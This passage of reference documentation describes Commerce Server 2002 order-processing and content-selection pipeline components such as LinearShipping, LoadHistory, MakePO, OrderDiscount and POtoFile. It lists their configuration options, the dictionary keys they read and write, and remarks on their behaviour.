  3. If the item meets the condition, the ItemPromo component applies the specified discount and writes the new value to the _iadjust_currentprice key of the item in the order form, provided that the _iadjust_currentprice key has not been initialized by a previously run component.

The promotional comparisons specified in the Conditional Value box are case-sensitive. For example, a product ID of AW13-200 will be interpreted differently than a product ID of aw13-200.

In addition, because the Start Date and End Date boxes for a promotion specify midnight, the value in the End Date box excludes the day specified. For example, if you want the last day of a promotion to be 3/31, be sure to specify that the promotion ends on 4/1.


LinearHandling

Use this component to set the handling total on an order by multiplying a field on the order form by a fixed rate.

Note

  • The LinearHandling component is for backward compatibility only and does not support the new, extended Currency datatype.

Intended use: Order Processing pipeline, Handling stage.

Configuration Values

You can determine how the LinearHandling component applies the handling rate and the rate itself by setting component properties. Use the following boxes on the Linear Handling tab of the Component Properties dialog box to determine this information.

Box | Description
Apply when Determines when to apply the handling charge. The values are:
Always
Default. The handling charge is always applied to the order.
Equal to method
Specifies that the handling cost should be applied when the value of shipping_method key in the Order dictionary is the same as the string specified as the value for the Method box.
Has any value
Specifies that the handling charge is applied when the shipping_method key of the order has any non-null value.
Method | The shipping method to match against the value of the shipping_method key in the Order dictionary. Used when the value in the Apply when box is set to Equal to method.
Basis Item Key | The property of the item to use in computing the handling charge. Defaults to the sum.quantity key.
Rate | The handling rate, which is an integer value.

Values Read

The LinearHandling component reads the following value from the indicated dictionary.

Key | Dictionary | Description
item.sum_quantity | Order | Dynamic. Default shown. The property of the item to use in computing the handling charge. The key name is determined by the value in the Basis Item Key configuration box.

Values Written

The LinearHandling component writes the following value to the Order dictionary.

Key | Description
_handling_total | The handling total for the entire order.

Remarks

The LinearHandling component computes the handling charge by multiplying the value specified in the Rate box by the sum of the property specified for the Basis Item Key box. For example, you might base the linear handling charge on the quantity of the items, and the value in the Basis Item Key box might be sum.quantity key. If the order contains two items, one item with a quantity of four and the other item with a quantity of two, then the basis sum is six. The component calculates the handling charge by multiplying the value in the Rate box by six.

For more general information about basis item keys, see Specifying the Basis Item Key.


LinearShipping

Use this component to calculate the shipping total on an order form using a fixed rate.

Note

  • The LinearShipping component is for backward compatibility only and does not support the new, extended Currency datatype.

Intended use: Order Processing pipeline, Shipping stage.

Configuration Values

You can determine how the LinearShipping component applies the shipping rate and the rate itself by setting component properties. Use the following boxes on the Linear Shipping tab of the Component Properties dialog box to determine this information.

Box | Description
Apply when Determines when to apply the shipping charge. The values are:
Always
Default. Specifies that the shipping charge is always applied to the order.
Equal to method
Specifies that the shipping cost should be applied when the value of the shipping_method key in the Order dictionary is the same as the string value specified in the Method box.
Has any value
Specifies that the shipping cost is applied when the shipping_method key of the order has any non-null value.
Method | The shipping method to match against the value of the shipping_method key in the Order dictionary. Used when the value in the Apply when box is set to Equal to method box.
Basis Item Key | The item property to use in computing the shipping charge. Defaults to the sum.quantity key.
Rate | The handling rate, which is an integer value.

Enter the value in the same currency unit in which prices are stored in the database.

Values Read

The LinearShipping component reads the following value from the indicated dictionary.

Key | Dictionary | Description
item.sum_quantity | Order | Dynamic. Default shown. The property of the item to use in computing the shipping charge. The key name is determined by the Basis Item Key configuration box.

Values Written

The LinearShipping component writes the following value to the Order dictionary.

Key | Description
_shipping_total | The shipping total for the entire order.

Remarks

The LinearShipping component computes the shipping charge by multiplying the value specified in the Rate box by the sum of the property specified in the Basis Item Key box. For example, you might base the linear shipping charge on the quantity of the items, and the value in the Basis Item Key box might be the sum.quantity key. If the order contains two items, one item with a quantity of four and the other item with a quantity of two, then the basis sum is six. The component calculates the handling charge by multiplying the value in the Rate box by six.

For more general information about basis item keys, see Specifying the Basis Item Key.


LoadHistory

Use this component to retrieve a history string from a user profile, an item in the Active Server Pages (ASP) session collection, or a cookie.

Although the component appears as LoadHistory in the Pipeline Editor, its ProgID is Commerce.CSFLoadHistory.

Intended use: Content Selection pipeline, Load Context stage.

Configuration Values

You can determine where the LoadHistory component retrieves the history string by setting component properties. Use the following boxes on the Load History tab of the Component Properties dialog box to determine this information. You must choose one of the following options.

Box | Description
User Profile Object | The property in the user profile object containing the history string.
ASP Session Collection | The key in the Session object containing the history string. Requires that the component be configured with the proper key and that the pipeline be executing in the Internet Information Server (IIS) context.
HTTP Cookie The key in the Cookies object containing the history string. Requires that the component be configured with the proper key and that the pipeline be executing in the IIS context.

Note

  • The cookie is a session cookie and will not persist across sessions.

The default user object profile that ships with Commerce Server 2002 contains a property for the history string: Advertising Info.Campaign History. This is the only method that persists the history string across user sessions on the site (required to support ExposureLimit data member properly).

Values Read

The LoadHistory component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
UserProfile | Context | A reference to the ProfileObject object for this user. This entry is optional, and is required only when the User Profile Object option is used.

Values Written

The LoadHistory component writes the following value to the Order dictionary.

Key | Description
_history | The history string, retrieved from one of the sources, as configured in the property page of the component.

Remarks

This component makes the history string easily accessible to other pipeline components by hiding its source.

If the User Profile Object option is chosen as the source for the history string, the property page requires the name of the property in the User Profile Object in which the history string is maintained.

When using the User Profile Object option, it is possible to use either a field that is mapped to a data column in a table, or a field that is not mapped. If the field is not mapped, the history string is persisted only for the duration of the user session and is later timed out of the profile cache. This method is more efficient than using the mapped method, but the mapped method allows the history string to be persisted across sessions. The unmapped option does not allow you to load balance Domain Name Server (DNS) network requests by sending the incoming requests to the next server in a list (round-robin load balancing).


LocalInventory

Use this component to set the number of items back ordered on the order form.

Intended use: Order Processing pipeline, Inventory stage.

Configuration Values

You can determine how the LocalInventory component deals with back orders by setting component properties. Use the following boxes on the Local Inventory tab of the Component Properties dialog box to determine this information.

Box | Description
Disallow Backorder | If selected, indicates that back orders are not permitted. The component adds a message to the _Purchase_Errors list if there is a back order.

Values Read

The LocalInventory component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
item._product_local_inventory | Order | The local inventory for this stockkeeping unit (SKU).
item.quantity | Order | The quantity of the item ordered.
item.sku | Order | A unique identifier for the product.
MessageManager | Context | Dynamic. This key is used only if the Disallow Backorder option is selected. This key is a reference to a MessageManager object, and is used to retrieve the out of stock constant (pur_out_of_stock) in case of an error.

Values Written

The LocalInventory component writes the following values to the Order dictionary.

Key | Description
item._inventory_backorder | The amount back ordered to fulfill the order for this item.
_Purchase_Errors | Dynamic. Error messages are written to this SimpleList object only if the Disallow Backorder option is selected.

Errors

The component writes error messages to the _Purchase_Errors collection. The component uses a MessageManager object to retrieve user warning message text.

Constant | Condition
pur_out_of_stock | An item in the order is out of stock.

Remarks

The LocalInventory component sets the value of the _inventory_backorder key on the order form to the number of items back ordered. The LocalInventory component takes the sum of the items for each SKU in the order, and then compares this number with the value of the _product_local_inventory key. If the value of the _product_local_inventory key is less than the number of items ordered, the component sets the value of the _inventory_backorder key to the difference.

The value of the item._product_local_inventory key is set from a database table by a components such as QueryProdInfoADO or QueryCatalogInfo.

See Also

FlagInventory

QueryCatalogInfo

QueryProdInfoADO


MakePO

Use this component to produce a string by merging information from the order form with a template, such as creating a purchase order formatted from a purchase order template.

Configuration Values

You can determine how the MakePO component formats the purchase order and where it is written by setting component properties. Use the following boxes on the Make PO tab of the Component Properties dialog box to determine this information.

Box | Description
Template File Name | The name of the file providing the template for the purchase order. The template is usually a Microsoft Visual Basic Scripting Edition (VBScript) file in a special format described below.
Script language for the template | The programming language used in the template. The default is VBScript.
Output Property Name | The name of a field in the order form or Transport dictionary to which the component writes the PO. The default is _po_text.
Child Object Name | Applies only when the Use Child Object option is set. A child object is an object that is referenced by a key in the Transport dictionary that is passed into the pipeline. The Child Object Name box specifies the key. In a Commerce Interchange pipeline, the order form (business data object) from which the MakePO component generates the purchase order is a child object.
Use Child Object | Determines the source from which the component reads the purchase order information. Select this option when using a Commerce Interchange pipeline so that the component reads this information from the business data object specified by the value in the Child Object Name box. Clear this check box when using an Order Processing pipeline so that the component reads this information from the order form passed directly into the pipeline.

Values Read

The MakePO component reads the file indicated in the Template File Name box. The script can read anything available to it.

Values Written

The MakePO component assigns the value to the key in the Transport dictionary indicated in the Output Property Name box. The script may also be written to write out additional values.

Remarks

The MakePO component can be used to dynamically generate a text entry on the OrderForm object (usually a purchase order). The entry is generated from a template file similar to an Active Server Pages (ASP) page. Like an ASP page, a MakePO template contains plain text interspersed with special tags containing script code. From within script, output can be done using PageGen.Print expression, or <%% = expression %%> similar to the ASP shortcut for Response.Write. The script language is configurable in the property page.

From within the MakePO template, the business object (OrderForm object, dictionary, or child object) is exposed as an object with the name Items. The library for the selected scripting language is also extended to include the members of this object as built-in properties, so that referring to the entries of the business object using the Items.xxx notation is possible. For this reason, it is best to declare any temporary variables so that they are not saved in the business object.

The following segment is an example from a template:

Item Class:<%%= item.partclasscode %%>
#:<%%= item.partnumber %%>
Qty:<%%= item.quantity %%>
Cost:<%%= item.[_display_list_price] %%>
Unit Code:<%%= item.unitcode %%>

The PO generated by the MakePO component can be saved to a file using the POtoFile component.

The MakePO component cannot output variant subtype VT_DECIMAL. Any usage of decimal or currency in the MakePO component must be wrapped with a call to the CStr method, which properly coerces the value to a string. For example:

Requisition # <%% = CStr(RequisitionID) %%>

Programmatic Use

To use this component outside of a pipeline, you must configure it by assigning values to keys in the Configuration dictionary. The keys correspond to the indicated boxes on the Component Properties dialog box.

Key | Box | Description
TemplateFileName | Template File Name | String.
TemplateScriptLanguage | Script language for the template | String.
OutPropName | Output Property Name | String.
ChildObjectName | Child Object Name | String
UseChildObject | Use Chile Object | Numeric. 0 for False, 1 for True.

For more information about using pipeline components outside of pipelines, see MicroPipe Object.

See Also

MicroPipe Object

POtoFile


MoneyConverter

Use this component to convert OrderForm object keys and values from integers to the new currency type, or from the new currency type to integers.

Intended use: Order Processing pipeline, any stage.

Configuration Values

You can determine which conversion the MoneyConverter component performs as well as the fields converted by setting component properties. Use the following boxes on the Convert Money tab of the Component Properties dialog box to determine this information.

Box | Description
Convert currency to int | Converts currency values to integer values.
Convert int to currency | Converts integer values to currency values.
Currency Fields | This box contains a space-separated list of the currency fields. The integer fields have the same name but without the cy_ prefix. Prefix item-level fields with item. and order level elements with order.. See the Remarks section for more information.

Values Read

The fields specified in the Currency Fields box.

Values Written

The fields specified in the Currency Fields box.

Remarks

Use the MoneyConverter component in pipeline stages containing Site Server 3.0 Commerce Edition and Commerce Server 2000 components, or Site Server 3.0 Commerce Edition and Commerce Server 2002 pipeline components using currency representations.

If a pipeline stage contains only Site Server 3.0 Commerce Edition objects, or only Commerce Server 2000 and Commerce Server 2002 objects, you do not need to use the MoneyConverter component. The various required components (RequiredItemPrice, for example) automatically perform currency and integer conversions at the end of a pipeline stage.

When converting values, the component gets the value of the key, converts it, and assigns it to the key of the other type. For example, suppose that you are converting the old integer currency value item._oadjust_adjustedprice. The MoneyConverter component gets the value from this key, converts it to the new currency data type, and assigns the converted value to the item._cy_oadjust_adjustedprice key. Values may be rounded during conversion. For more information about rounding, see Currency Enhancements.

The only difference between the keys is the cy_ in the name of the key holding the currency value. The currency key that is specified in the Component Properties dialog box regardless of the direction of the conversion.

See Also

DataFunctions Object


OrderDiscount

Use this component to apply discounts scheduled in the Campaign Manager module in Commerce Server Business Desk to the shopping basket.

Intended use: Order Processing pipeline, Order Adjust Price stage.

In Component Properties dialog box, on the Order Discount tab, do the following:

Use this | To do this
Apply Percent First | When two or more discounts of equal priority but different types apply to a line item, selecting this causes percentage discounts to apply before currency discounts of the same priority.
Apply Currency First | When two or more discounts of equal priority but different types apply to a line item, selecting this causes currency discounts to apply before percentage discounts of the same priority.
Apply discount to basket items | Select Least expensive first to apply discounts to the least expensive items in the basket first. Select Most expensive first to apply discounts to the most expensive items in the basket first.

Click Apply to save your changes.

For more information about discount interactions, see Order Subtotal Discount.

Configuration Values

None.

Values Read

The OrderDiscount component reads the following values from the indicated dictionaries.

Key Dictionary Description
item._cy_iadjust_currentprice
 Order Required. The current price of the line items.

Type: Currency (VT_CY)

item.quantity
 Order Required. The total quantity of a line item.

Type: Integer (VT_I4)

item._cy_oadjust_adjustedprice
 Order Optional (default is 0.0). The total price of all the items, after all the discounts have been applied.

Type: Currency (VT_CY)

Note

  • Total price for the line item can be computed using the following:

    n_unadjusted*_cy_iadjust_currentprice+_cy_oadjust_adjustedprice.

item._n_unadjusted
 Order Optional (default is equal to the quantity). The quantity of line items that have not been adjusted (line items that are eligible to serve as discount conditions and receive discount awards).

Type: Integer (VT_I4)

item._product_*
 Order The product properties for each item. The column name is appended to form the key name. For more information, see the Remarks section.
item.discounts_applied
 Order Optional. A dictionary containing the IDs of the discounts that applied to this line item the last time the OrderDiscount pipeline compoenent was run. Keys are the IDs; values are the date/timestamps of the discounts. This is normally persisted with the OrderForm object and used by the OrderDiscount object to detect discount changes and warn the user when a discount has changed or been removed.

Type: IDictionary (VT_DISPATCH)

Note

  • The format of the dictionary is a mapping from the discount ID (campaign item ID) to a last-modified timestamp (VT_DATE). The last-modified timestamp is the time the discount campaign item was last modified in Business Desk.

discounts_clicked
 Order Optional. The campaign item IDs of the click-required discounts that have been clicked.

Type: SimpleList of Integer

_discounts
 Order Optional (if null, the CacheManager and CacheName objects are used to retrieve the ContentList object of discounts from the cache automatically). A ContentList object that contains the cached list of discounts that attempt to apply to the OrderForm object. Discounts may be prefiltered from the list by setting their score property to zero.

Type: Currency

Note

  • Internally, the ActiveRows property is used to retrieve only the unfiltered discounts from the list. Therefore, the Threshold property of the ContentList object, along with each score property of the content item, can be used to control the set of discounts eligible for application for each individual request.

orderlevel_discounts_applied
 Order Optional. A dictionary with information about the discounts that were applied at the order level the previous time the OrderDiscount component was run. It is normally persisted along with the OrderForm object and is used by the OrderDiscount object to detect discount changes and warn the user when a discount has changed or been removed.

Type: IDictionary (VT_DISPATCH)

Notes

  • The format of the dictionary is a mapping from discount ID (campaign item ID) to a last-modified timestamp (VT_DATE). The last-modified timestamp is the time the discount campaign item was last modified in Business Desk.
  • This dictionary should not be used for accounting systems.

_currency_decimal_places
 Order Optional (if not set, the _currency_lcid key must be set, and the number of currency decimal places will be the default for that locale). Describes the number of digits of precision (after the decimal point) from which to round certain intermediate results, and to round to when writing currency values into the OrderForm object.

Type: Integer (VT_I4)

_currency_lcid
 Order Optional (required only if the _currency_decimal_places key is not set). Describes a locale (LCID) from which to retrieve the number of currency decimal places.

Type: Integer (VT_I4)

Evaluator
 Context Required. The expression evaluator instance used to evaluate product, targeting context, and user expressions.

Type: IExprEval (VT_DISPATCH)

_trace_discounts
 Context Optional (default is false). Determines whether the OrderDiscount component should generate tracing information.

Type: Bool (VT_BOOL)

Notes

  • When tracing is turned on, it has a minimal amount of performance overhead because the string must be generated with each aspect of the decisions made.
  • When enabled, the key_discounts_trace_information will be written to the OrderForm object.

CacheManager
 Context Optional (unless the _discounts key was not set in the OrderForm object). A CacheManager object used for retrieving the cached set of discounts eligible for application.

Type: IcacheManager (VT_DISPATCH)

CacheName
 Context Optional (unless the _discounts key was not set in the OrderForm object). The name of the CacheManager cache containing the cached set of discounts

Type: String (VT_BSTR)

MessageManager
 Context Required (only checked if one of the warnings listed under Notes is used). A reference to a MessageManager object.

Type: IMSCSMessageManager_3_0 (VT_DISPATCH)

Notes

  • The following messages may be added to the _Basket_Errors list in the OrderForm object:
    • pur_discount_removed (one or more discounts no longer apply).
    • pur_discount_changed (one or more discounts have changed).

Language
 Context Optional (unless one of the MessageManager object warnings is used) The MessageManager object language in which localized messages should be retrieved from the MessageManager object.

Type: String (VT_BSTR)

UserProfile
 Context Optional. A ProfileObject object representing the current user, which is used in evaluating discount eligibility requirement expressions.

Type: IprofileObject or IDictionary (VT_DISPATCH)

ContextProfile
 Context Optional. The TargetingContext profile to use for evaluating discount eligibility requirement expressions. This is usually a Dictionary object but may also be a Profile object.

Type: IprofileObject or IDictionary (VT_DISPATCH)

SiteName
 Context Optional. The site name, used only for reporting the SiteName as part of several limited error messages, which may be reported to the Event log.

Type: String

Values Written

The OrderDiscount component writes the following values to the Order dictionary.

Key Description
_discounts
 Not always written (if the _discounts list was set before the OrderDiscount object was run, it is not changed). A ContentList object containing the discounts from the discounts cache, which is based on the CacheName key in the pipeline context. For the structure of the ContentList object, see CSFLoadDiscounts.

Type: ContentList (VT_DISPATCH)

_winners
 Always written. A SimpleList object, which contains the campaign item IDs of all discounts applied to the basket.

Type: SimpleList (VT_DISPATCH)

Note

  • Used by the RecordEvent and IISAppendToLog components to record the fact that the campaign items were applied (SOLD events), normally in the Accept stage of the checkout pipeline.

_event
 Always written. Contains the name of the event to record, which should always be set to SOLD.

Type: String (VT_BSTR)

Note

  • This value is used by the RecordEvent and IISAppendToLog components to record the fact that the campaign items were applied (SOLD events), normally in the Accept stage of the checkout pipeline.

item._itemlevel_discounts_applied
 Not always written (only written if one or more item level discounts apply to the line item). A SimpleList of dictionaries where each dictionary contains information about an item level discount that was applied to the line item. The order of the list is significant and represents the order in which the discounts were applied to this line item.

The dictionary contains the following elements for each discount:

  • discount_id: Campaign item ID (VT_I4)
  • discount_priority: Discount priority (rank) (VT_I4)
  • discount_timestamp: Last-modified timestamp of the discount (VT_DATE)
  • cy_discount_amount: How much was actually taken off of the item (VT_CY)
  • discount_type: 1=Currency Value; 2=Percentage (VT_I4)
  • cy_discount_value: Currency value or percentage value (VT_CY)
  • discount_name: Discount name (VT_BSTR)

Type: Dictionary (VT_DISPATCH)

item._cy_itemlevel_discounts_subtotal
 Not always written (only written if one or more item level discounts apply to the line item). Sum of all item level discounts apply to this line item.

Type: Currency (VT_CY)

item._cy_oadjust_adjustedprice
 Always written. The total price of all the items, after all the discounts have been applied. An item is adjusted if it received a discount or was used as a condition for a discount where either the reuse_condition_as_condition or reuse_condition_as_award flags were set to false.

Type: Currency (VT_CY)

Note

  • Total price for the line item can be computed as the following:

    _n_unadjusted*_cy_iadjust_currentprice+_cy_oadjust_adjustedprice

item._n_unadjusted
 Always written. The number of items whose price remains unadjusted after discounts are applied. An item is adjusted if it received a discount or was used as a condition for a discount where either the reuse_condition_as_condition or reuse_condition_as_award flags was set to false.

Type: Integer (VT_I4)

item.discounts_applied
 Not always written. A dictionary containing the campaign item IDs of the discounts that applied to this item. The keys are the IDs; the values are the date-time stamps of the discounts. This is normally persisted along with the OrderForm object and used by the OrderDiscount object to detect discount changes and warn the user when a discount has changed or been removed.

Type: IDictionary (VT_DISPATCH)

Note

  • The format of the dictionary is a mapping from discount ID (campaign item ID) to a last-modified timestamp (VT_DATE). The last-modified timestamp is the time the discount campaign item was last modified in Business Desk.

_discounts_removed
 Not always written. A SimpleList object, which contains campaign item IDs of discounts that no longer apply to the basket since the last time the pipeline was run. This key is written only if some discounts no longer apply.

Type: SimpleList (VT_DISPATCH)

Note

  • If this key is set, OPPERRORLEV_WARN (2) is returned from the Execute method, and the MessageManager message pur_discount_changed is added to the _Basket_Errors list.

_discounts_changed
 Not always written. A SimpleList object, which contains campaign item IDs of discounts that have changed since the last time the pipeline was run. This key is written only if some discounts have changed.

Type: SimpleList (VT_DISPATCH)

Note

  • If this key is set, OPPERRORLEV_WARN (2) is returned from the Execute method and the MessageManager message pur_discount_changed is added to the _Basket_Errors list.

orderlevel_discounts_applied
 Not always written (written only if one or more order level discounts were applied). A dictionary with information about the discounts that applied at the order level the last time the OrderDiscount component was run. This is normally persisted along with the OrderForm object and used by the OrderDiscount object to detect discount changes and warn the user when a discount has changed or been removed.

Type: Dictionary (VT_DISPATCH)

Note

  • The format of the dictionary is a mapping from the discount ID (campaign item ID) to a last-modified timestamp (VT_DATE). The last-modified timestamp is the time the discount campaign item was last modified in Business Desk.

_orderlevel_discounts_detail
 Not always written (written only if one or more order level discounts were applied). A dictionary that maps special offer types to a list of order level discounts that applies for that special offer type. Other components such as OrderDiscountApply or ShippingDiscountAdjust are responsible for actually applying the discounts.

Each element is a dictionary. The exact format of the dictionary depends on whether the element represents a combination of percentage-off discounts of the same priority, or a single discount.

Following are the dictionary entries if the element represents a single discount:

  • discount_id: Integer (VT_I4)
  • discount_timestamp: Last_modified timestamp of the discount (VT_DATE)
  • discount_name: Discount name (VT_BSTR)

Following are the dictionary entries if the element represents a combined percentage-off discount:

  • discounts_combined: A SimpleList object that describes each of the discounts that were combined. Each element in this list is a dictionary with the following keys:
    • discount_id: Integer (VT_I4)
    • cy_discount_percentage: Value (VT_CY)
    • discount_timestamp: Llast_modified tiemestamp of the discount (VT_DATE)
    • discount_name: Discount name (VT_BSTR)

Following are the dictionary entries that exist in both cases:

  • discount_priority: Priority (rank)
  • discount_type: 1=Currency; 2=Percentage (VT_I4)
  • cy_discount_value: Currency or Percentage value (VT_CY). If the element represents a combined percentage-off discount, this is the total percentage.

The order the elements appear in the list is significant, because it is the order that OrderDiscount has determined they should be applied.

Type: Dictionary (VT_DISPATCH)

Note

  • A combined percentage discount will never reflect a value greater than 100 percent, even if the sum of the percentages of discounts in the discounts_combined list is greater than 100. The last contribution of the discount is considered as the only amount that will apply.

    If the combination is already discounted 100 percent, no further percentage discounts of the same priority will be considered as applied, even if they could apply. Therefore, they will not be written to the list.

_Basket_Errors
 Not always written (modified if _discounts_removed or discounts_changed is set). Error messages are written to this SimpleList object.

Type: IsimpleList (VT_DISPATCH)

Note

  • Every OrderForm object has a _Basket_Errors list that is used to report non-fatal pipline errors to the user.

_qualifying_discounts
 Not always written (written only when one or more discounts meet their qualification, but the discount has nothing to which to apply). Discount item IDs of the discounts that meet their qualifications, but for which there is nothing to award are written to this SimpleList object.

Type: IsimpleList (VT_DISPATCH)

_discounts_trace_info
 Not always written (written only if context_trace_discounts was set to true). Contains information about discount decisions.

Type: String (VT_BSTR)

_<special_offer_type>_type
 Not always written. The type of an order level discount (for example, free shipping), if one applies. Another component in the pipeline (such as ShippingDiscountAdjust) applies the discount. The key name is formed from the string stored in the special_offer_type key in the ContentList object. Possible values are:
  • 1 (money discount)
  • 2 (percentage discount)

More than one type of order level discount may apply to the same OrderForm.

Type: Currency (VT_CY)

Important

  • This is a legacy key for backward compatibility with the Commerce Server 2000 OrderDiscount component. New development should use the _orderlevel_discounts_detail dictionary.

_cy_<special_offer_type>_value
 Not always written. The value of an order level discount (for example, free shipping), if one applies. Another component in the pipeline (such as ShippingDiscountAdjust) applies the discount. This key is used only for custom discounts applied outside of the pipeline. The key name is formed from the string stored in the u_special_offer_type key in the discount database. The value of the discount comes from the offer_value field in the ContentList object.

Type: Currency (VT_CY)

Important

This is a legacy key for backward compatibility with the Commerce Server 2000 OrderDiscount component. New development should use the _orderlevel_discounts_detail dictionary.

_cy_<special_offer_type>_description
 Not always written. The description of an order level discount if one applies. This key may be used to display when the discount applies somewhere on the page. The value comes from the description field in the ContentList object.

Type: String (VT_BSTR)

Important

This is a legacy key for backward compatibility with the Commerce Server 2000 OrderDiscount component. New development should use the _orderlevel_discounts_detail dictionary or the item_orderlevel_discounts_applied dictionary to get the item IDs. It can then look up the discount descriptions from the _discounts ContentList.

Errors

The component writes error messages to the _Basket_Errors collection. The component uses a MessageManager object to retrieve user warning message text.

Constant | Condition
pur_discount_removed | A discount no longer applies since the pipeline was last run.
pur_discount_changed | A discount has changed since the pipeline was last run.

Remarks

The OrderDiscount component applies discounts to the shopping basket of a user. The discounts are scheduled through the Campaign Manager module in Commerce Server Business Desk. Each discount is a campaign item and has a unique campaign item ID.

You can adjust the scores of discounts that the OrderDiscount component applies by using the ScoreDiscounts component in a Content Selection pipeline. The ScoreDiscounts component adjusts the scores of discounts and saves them in the ContentList object held by the CacheManager object. That ContentList object would then be used by the OrderDiscount component in another pipeline.

The OrderDiscount component rounds at the line item level — if more than one discount applies to a line item, the discounts are combined before rounding is done. Currencies with four decimal places of precision are the exception. In this case, values are truncated to four decimal places as discounts are combined.

For a detailed discussion about how discounts are selected and applied, see Discount Objects.

The _winners and _event keys are used to record events for tracking in the campaign system and are imported into the Data Warehouse for reporting.

See Also

Discount Objects

CSFLoadDiscounts

ScoreDiscounts


OrderLevelDiscountApply

Use this component to apply order level subtotal discounts.

Intended use: Order Processing pipeline, Order Adjust Price stage, between OrderDiscount and RequiredOrderAdjustPriceCy components.

In the Component Properties dialog box, on the Order Level Discount tab, do the following:

Use this | To do this
Apply discounts to all items | Apply order level discounts to all items in the order form.
Apply discounts to items where the following key exists and the corresponding value is nonzero | Apply order level discounts only to items in the order form where the specified item dictionary key exists and the corresponding value is nonzero.

Click Apply to save your changes.

For more information about discount interactions, see Order Subtotal Discount.

Configuration Values

None.

Values Read

The OrderDiscountApply component reads the following values from the indicated dictionaries.

Key Dictionary Description
item.quantity
 Order Required. The total quantity of all the line items.

Type: Integer (VT_I4)

item._cy_iadjust_currentprice
 Order Required. The current price of all the line items.

Type: Currency (VT_CY)

item._cy_oadjust_adjustedprice
 Order Optional (default is 0.0). The total price of all the items, after all the discounts have been applied.

Type: Currency (VT_CY)

Note

  • Total price for the line item can be computed as the following:

    _n_unadjusted*_cy_iadjust_currentprice+_cy_oadjust_adjustedprice

item._n_unadjusted
 Order Optional (default is equal to the quantity). The quantity of line items that have not been adjusted bythe OrderDiscount component or other discounting components (number of line items that are eligible to serve as discount conditions and receive discount awards).

Type: Integer (VT_I4)

_orderlevel_discounts_detail
 Order Optional. A dictionary that maps special offer types to a list of order level discounts that applies for that special offer type.

Each element is a dictionary. The exact format of the dictionary depends on whether the element represents a combination of percentage-off discounts of the same priority, or a single discount.

Following are the dictionary entries if the element represents a single discount:

  • discount_id: Integer (VT_I4)
  • discount_timestamp: Last_modified timestamp of the discount (VT_DATE)
  • discount_name: Discount name (VT_BSTR)

Following are the dictionary entries if the element represents a combined percentage-off discount:

  • discounts_combined: A SimpleList object that describes each of the discounts that were combined. Each element in this list is a dictionary with the following keys:
    • discount_id: Integer (VT_I4)
    • cy_discount_percentage: Value (VT_CY)
    • discount_timestamp: Last_modified timestamp of the discount (VT_DATE)
    • discount_name: Discount name (VT_BSTR)

Following are the dictionary entries that exist in both cases:

  • discount_priority: Priority (rank)
  • discount_type: 1=Currency; 2=Percentage (VT_I4)
  • cy_discount_value: Currency or percentage value (VT_CY). If the element represents a combined percentage-off discount, this is the total percentage.

The order the elements appear in the list is significant, because it is the order that OrderDiscount has determined they should be applied.

Type: Currency (VT_CY)

Note

  • This is the list used by OrderDiscount to specify to other pipeline components the complete list of order level discounts that should be applied to the basket.

_currency_decimal_places
 Order Optional (if not set, the _currency_lcid key must be set, and the number of currency decimal places will be the default for that locale). Describes the number of digits of precision (after the decimal point) for which to round certain intermediate results, and to round to when writing currency values into the OrderForm object.

Type: Integer (VT_I4)

_currency_lcid
 Order Optional (required only if the _currency_decimal_places key is not set). Describes a locale (LCID) to use to retrieve the number of currency decimal places.

Type: Integer (VT_I4)

SiteName
 Context Optional. Used only for reporting the site name as part of several limited error messages, which may be reported to the Event log.

Type: String

Values Written

The OrderDiscountApply component writes the following values to the Order dictionary.

Key Description
item._cy_orderlevel_discounts_subtotal
 Not always written (only written if one or more order level discounts apply to the line item). The sum of all order level subtotal discounts applied to this line item. This key is written even if the discount applied has no impact on the price.

Type: Currency (VT_CY)

item._cy_orderlevel_discounts_applied
 Not always written. A SimpleList of dictionaries where each dictionary contains information about an item level discount that was applied to the line item. The order of the list is significant and represents the order in which the discounts were applied to this line item. This key is written even if the discount applied has no impact on the price.

The dictionary contains the following elements for each discount:

  • discount_id: Campaign item ID (VT_I4)
  • discount_priority: Discount priority (rank) (VT_I4)
  • discount_timestamp: Last-modified timestamp of the discount (VT_DATE)
  • cy_discount_amount: How much was actually taken off of the item (VT_CY)
  • discount_type: 1=Currency Value; 2=Percentage (VT_I4)
  • cy_discount_value: Currency value or percentage value (VT_CY)
  • discount_name: Discount name (VT_BSTR)

Type: Dictionary (VT_DISPATCH)

item._cy_oadjust_adjustedprice
 Not always written (default is 0.0). The total price of all the items, after all the discounts have been applied.

Type: Currency (VT_CY)

Notes

  • The price for the line item can be ccomputed as the following:

    _n_unadjusted*_cy_iadjust_currentprice+_cy_oadjust_adjustedprice

  • If a discount applies to this line item, the entire quantity is considered adjusted. Therefore, it will be the total price for the line item after all item level and order level discounts are applied.
item._n_unadjusted
 Not always written (only for items to which a discount will apply by this component). The quantity of items in this line that have not been adjusted.

Type: Integer (VT_I4)

Note

  • If a discount applies to this line item, the entire quantity is considered adjusted, so it will be set to zero.

Remarks

For information about extending the OrderLevelDiscountApply component, see Order Level Discount Pipeline Components.

See Also

Discount Objects

CSFLoadDiscounts

ScoreDiscounts

ShippingDiscountAdjust


POtoFile

Use this component to send a purchase order or other textual data to a file.

Intended use: Order Processing pipeline, Purchase Order Submit or Accept stage.

Configuration Values

You can determine where the POtoFile component retrieves the document and where it writes the result by setting component properties. Use the following boxes on the PO to File tab of the Component Properties dialog box to determine this information.

Box | Description
Source Field Name | The name of the field on the order from which the component reads the purchase order data. The default is po_text.
File Name | The full path to the file the component writes the purchase order to. To locate the file, click Browse.
File named in field | The name of the field in the OrderForm object whose value is the name of the file the component writes the purchase order to; for example, save_filename.
Temporary file, name saved in field | Specifies that the component should save the text to a temporary file, and then save the name of the temporary file in the field identified in the text box. For example, saved_filename.
Append to file instead of overwriting file | When checked, indicates that the text should be appended to the indicated file. Otherwise, the file is overwritten if it exists.

Values Read

The POtoFile component reads the value specified by the key in the Order dictionary indicated in the Source Field Name box.

Values Written

None.

Remarks

The purchase order is usually the output of the MakePO component.

The File Name, File named in field, and Temporary file boxes are mutually exclusive; that is, you can select only one of the three.

Programmatic Use

To use this component outside of a pipeline, you must configure it by assigning values to keys in the Configuration dictionary. The keys correspond to the indicated boxes in the Component Properties dialog box.

Key | Box | Description
SourceFieldName | Source Field Name | String.
SaveMode | N/A | Numeric. 0 for file name given; 1 for file name comes from SourceFieldName.
FixedSaveFileName | File Name | String.
SaveFileFieldName | File name in field | String.
TempFileFieldName | Temporary file, name saved in field | String.
IsAppendToFile | Append to file instead of overwriting file | Numeric. 0 for overwriting; 1 to append.

